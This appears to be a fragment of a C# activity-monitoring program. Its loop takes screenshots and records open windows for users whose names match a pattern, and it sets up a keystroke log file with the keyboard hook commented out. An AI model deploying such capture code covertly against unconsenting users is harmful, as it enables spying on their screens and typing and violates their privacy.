private void CheckDiskUsage(ProcessorConfig config) { long length = Directory.GetFiles(config.RootFolderPath, "*", SearchOption.AllDirectories).Sum(t => (new FileInfo(t).Length)); var lengthMB = (double)length / 1024 / 1024; if (lengthMB < config.MaxDiskSpaceMB) { return; } var dirNames = Directory.GetDirectories(config.RootFolderPath); Directory.Delete(dirNames.OrderBy(d => d).First(), true); }
public void Start(ProcessorConfig config) { _config = config; _debugFileName = Path.Combine(config.RootFolderPath, "debug.log"); Debug("----------------------------------------------------"); Debug(DateTime.Now.ToString()); Debug($"Log folder: {config.RootFolderPath}"); string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; if (!Regex.IsMatch(userName, config.UsernamePattern)) { Debug($"Username {userName} does not match pattern {config.UsernamePattern}"); return; } _logFolder = Path.Combine(config.RootFolderPath, $"{DateTime.Now.ToString("yyyyMMdd")}"); Directory.CreateDirectory(_logFolder); _logFileName = Path.Combine(_logFolder, "windows.log"); if (!File.Exists(_logFileName)) { File.WriteAllText(_logFileName, $@"Starting up... "); } _keysFileName = Path.Combine(_logFolder, "keys.log"); if (!File.Exists(_keysFileName)) { File.WriteAllText(_keysFileName, $@"Starting up... "); } Debug($"{Screen.AllScreens.Length} screen(s) detected"); //SetupKeyboardHooks(); _running = true; Debug("About to start infinite loop..."); var i = 1; while (_running) { try { CaptureScreenshot(); CaptureWindows(); } catch (Exception ex) { Debug($"Iteration: {i}"); Debug(ex.ToString()); } Thread.Sleep(config.PauseSeconds * 1000); if (i % 10 == 0) { CheckDiskUsage(config); } i++; } }